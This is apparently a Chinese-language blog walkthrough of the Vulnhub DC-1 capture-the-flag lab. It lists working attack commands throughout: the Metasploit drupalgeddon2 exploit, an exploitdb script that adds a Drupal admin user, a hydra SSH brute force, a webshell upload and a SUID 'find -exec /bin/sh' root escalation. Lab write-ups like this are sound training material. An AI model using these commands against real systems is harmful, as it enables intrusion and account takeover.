看更多:我的博客
Vulnhub
簡介
Vulnhub是一個提供各種漏洞環(huán)境的靶場平臺桂对,大部分環(huán)境是做好的虛擬機鏡像文件猖毫,鏡像預(yù)先設(shè)計了多種漏洞弟胀,需要使用VMware或者VirtualBox運行狸演。每個鏡像會有破解的目標(biāo)项阴,挑戰(zhàn)的目標(biāo)是獲取操作系統(tǒng)的root權(quán)限和查看flag滑黔。
部署方法
官網(wǎng):https://www.vulnhub.com
1.在官網(wǎng)搜索你想要的鏡像,然后下載【建議下載 (Mirror)版本】
2.下載好后解壓得到.ova
的文件,右擊選擇VMware進(jìn)行打開
3.在彈出的框中环揽,選擇存放的位置略荡,然后點擊導(dǎo)入
4.最后等待導(dǎo)入完成,然后啟動該虛擬機就可以了
DC-1__drupal
靶機下載地址:https://download.vulnhub.com/dc/DC-1.zip
靶機描述:DC-1 是一個專門構(gòu)建的易受攻擊的實驗室歉胶,旨在獲得滲透測試領(lǐng)域的經(jīng)驗汛兜。共有五個flag,但最終目標(biāo)是拿到root目錄中的flag通今。
一粥谬、信息收集
運行部署好的虛擬機,提示需要賬號密碼衡创,該靶機不提供密碼需要自己去滲透提權(quán)
因不知道DC-1靶機的IP帝嗡,所有我們需要將靶機和攻擊機kali放在同一個局域網(wǎng)里面,將Kali的網(wǎng)絡(luò)適配器使用橋接模式
1.探測目標(biāo)
方法一:使用arp-scan工具
探測同一區(qū)域中存活主機
$ sudo arp-scan -l
-l 使用網(wǎng)絡(luò)接口
方法二:使用netdiscover工具
探測存活主機
$ sudo netdiscover -i eth0
-i device 用于嗅探和注入數(shù)據(jù)包的網(wǎng)絡(luò)接口
方法三:使用nmap工具
$ sudo ifconfig #查看kali的ip【192.168.0.103】
$ nmap 192.168.0.0/24
2.查看目標(biāo)開放端口
$ nmap -sV -p- 192.168.0.119
-sV 用來掃描目標(biāo)主機和端口上運行的軟件的版本
-p- 掃描0-65535全部端口
目標(biāo)靶機開放了80端口,在瀏覽器打開該站點
3.查看網(wǎng)頁相關(guān)信息
使用瀏覽器插件Wappalyzer
璃氢,這個插件可以檢測網(wǎng)站的CMS哟玷,框架,服務(wù)器等信息一也,
可以看到該網(wǎng)站使用CMS為Drupal
巢寡,其實在網(wǎng)頁界面和底部都能發(fā)現(xiàn)是Drupal
二、漏洞查找與利用
1.漏洞查找
使用Metasploit搜索Drupal
$ sudo msfdb init && msfconsole
$ search Drupal
[圖片上傳失敗...(image-7af5c1-1589762563802)]
2.漏洞利用
優(yōu)先選擇上面查到模塊的Rank為excellent并且時間較新的模塊椰苟,這里我們使用第4個
$ use exploit/unix/webapp/drupal_drupalgeddon2
$ show options
$ set RHOSTS 192.168.0.119
$ exploit 或者 run
#當(dāng)出現(xiàn)“Meterpreter session 1 opened”說明利用成功
三抑月、Getshell
1.獲取普通shell
meterpreter >shell
ls
發(fā)現(xiàn)有個flag1.txt
,打開看一哈
$ cat flag1.txt
Every good CMS needs a config file - and so do you.
翻譯:每一個好的CMS都需要一個配置文件舆蝴,你也一樣谦絮。
百度查到Drupal的默認(rèn)配置文件為 /var/www/sites/default/settings.php
drupal7的目錄結(jié)構(gòu)及術(shù)語
cat /var/www/sites/default/settings.php
配置文件中看到了flag2
翻譯:蠻力和字典攻擊不行题诵,唯一方法是獲得訪問權(quán)限(你將需要訪問的)。你能用這些憑證做什么?
同時层皱,還有獲得了數(shù)據(jù)庫賬號和密碼
'username' => 'dbuser',
'password' => 'R0ck3t',
2.獲取交互式shell
使用python反彈一個交互式shell性锭,然后我們登陸數(shù)據(jù)庫
$ python -c 'import pty; pty.spawn("/bin/bash")'
$ mysql -udbuser -p
Enter password:R0ck3t
查看數(shù)據(jù)庫,在drupaldb庫users表中發(fā)現(xiàn)admin用戶
mysql> show databases; #[drupaldb]
mysql> use drupaldb;
mysql> show tables; #[users]
mysql> select * from users;
可以看到admin用戶的密碼被加密了的,但是我們可以想辦法修改密碼或新增一個admin權(quán)限的用戶
方法一:修改admin用戶的密碼
使用Drupal對數(shù)據(jù)庫的加密方法叫胖,生成一個新密碼草冈,然后把新的密碼更新到admin用戶
加密腳本位置在/var/www/scripts/password-hash.sh
下
$ php scripts/password-hash.sh jwt #生成新密碼jwt
# hash:$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX
mysql> update drupaldb.users set pass="$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX" where name="admin";
方法二:新增一個admin權(quán)限的用戶
在exploitdb中有一個針對Drupal 7版本的攻擊腳本,可以增加一個admin權(quán)限的用戶賬號
查看Drupal版本,確定Drupal版本為7.24
$ cat /var/www/includes/bootstrap.inc | grep VERSION
msf > searchsploit drupal
攻擊腳本適用于7.31以下瓮增,所以適合7.24版本,可以利用漏洞增加admin權(quán)限用戶
增加有admin權(quán)限的用戶:admin1/admin1
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.100 -u admin1 -p admin1
輸入用戶名/密碼【admin/jwt或者admin1/admin1】怎棱,嘗試登陸
成功登陸
在后臺左上角的Find content
中發(fā)現(xiàn)flag3
flag3的信息中提到了passwd和shadow,很明顯就是/etc/passwd和/etc/shadow
,還提到了find绷跑、perms拳恋、-exec
,這幾個是提權(quán)用的你踩。
我們來查看哈/etc/passwd和/etc/shadow
的內(nèi)容
/etc/passwd 是一個純文本文件诅岩。它存儲用戶帳戶信息。它包含系統(tǒng)帳戶的列表带膜,為每個帳戶提供一些有用的信息,如用戶 ID鸳谜、組 ID膝藕、主目錄、shell 等
etc/shadow是/etc/passwd的影子文件咐扭,存有密碼信息
$ cat /etc/passwd
或者
$ tail -3 /etc/passwd #為了方便截圖芭挽,只顯示文件的最后三行
$ cat /etc/shadow #權(quán)限不夠查看失敗
發(fā)現(xiàn)有個叫flag4
的賬號,但是查看使用/etc/shadow
失敗蝗肪,但是前面nmap掃描的時候發(fā)現(xiàn)了 ssh 服務(wù)袜爪,現(xiàn)在又發(fā)現(xiàn)了 flag4 用戶,所以嘗試使用hydra
進(jìn)行密碼的暴力猜解
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.0.100 ssh
或者
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100
#ip變成192.168.0.100薛闪,是應(yīng)為我重啟了辛馆,靶機ip變了
-l 指定破解的用戶
-P 指定密碼字典
ssh://ip 指定使用協(xié)議和ip地址
使用得到用戶名密碼【 flag4/orange】,登錄靶機
也可以用kali直接遠(yuǎn)程連接
ssh flag4@192.168.0.100
$ ls
$ cat flag4.txt
flag4提示flag在root目錄下豁延,在/root
下發(fā)現(xiàn)thefinalflag.txt
昙篙,但是沒有讀取的權(quán)限
3.上傳冰蝎馬獲取shell
當(dāng)然你還可以利用meterperter的shell直接上傳冰蝎的shell。
meterperter> upload /home/jwt/Desktop/shell.php /var/www/shell.php
然后冰蝎連接就可以了
四诱咏、提升權(quán)限
根據(jù)flag3和flag4都提到了find,所以下面我們利用find文件提權(quán)
參考:Linux下用SUID提權(quán)苔可、linux提權(quán)-SUID提權(quán)、find命令之exec
SUID可以讓調(diào)用者以文件擁有者的身份運行該文件袋狞,所以我們利用SUID提權(quán)的思路就是運行root用戶所擁有的SUID的文件焚辅,那么我們運行該文件的時候就得獲得root用戶的身份了映屋。
#查找具有root權(quán)限的SUID的文件
$ find / -perm -u=s -type f 2>/dev/null
可以看到find命令具有SUID權(quán)限,如果find以SUID權(quán)限運行同蜻,所有通過find執(zhí)行的命令都會以root權(quán)限運行棚点。
$ touch jwt
#查找根目錄下名為jwt的文件并執(zhí)行shell
$ find / -name jwt -exec "/bin/sh" \;
#-exec 參數(shù)后面跟的是command命令,它的終止是以;為結(jié)束標(biāo)志的埃仪,所以這句命令后面的分號是不可缺少的乙濒,考慮到各個系統(tǒng)中分號會有不同的意義,所以在分號前面加反斜杠卵蛉。
可以看到已經(jīng)成功提權(quán)拿到root shell颁股,接下來就來查看最終的flag吧
cd /root
ls
cat thefinalflag.txt
到這里我們就成功獲取到了5個flag,并成功走完了整個滲透流程
五、總結(jié)
1.掃描局域網(wǎng)主機
sudo arp-scan -l
參考:kali之a(chǎn)rp-scan
sudo netdiscover -i eth0
參考:netdiscover用法
nmap 192.168.0.0/24
2.MSF使用
參考:MSF之命令筆記篇
3.hydra爆破
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100
4.suid提權(quán)
參考:Linux下用SUID提權(quán)傻丝、linux提權(quán)-SUID提權(quán)甘有、find命令之exec
贊助??
如果你覺得對你有幫助,你可以贊助我一杯冰可樂吧葡缰!
<table>
<tbody>
<tr>
<td style="text-align:center;">支付寶支付</td>
<td style="text-align:center;">微信支付</td>
</tr>
<tr>
<td style="text-align:center;" ><img width="200" src="https://jwt1399.top/medias/reward/alipay.png"></td>
<td style="text-align:center;"><img width="200" src="https://jwt1399.top/medias/reward/wechat.png"></td>
</tr>
</tbody></table>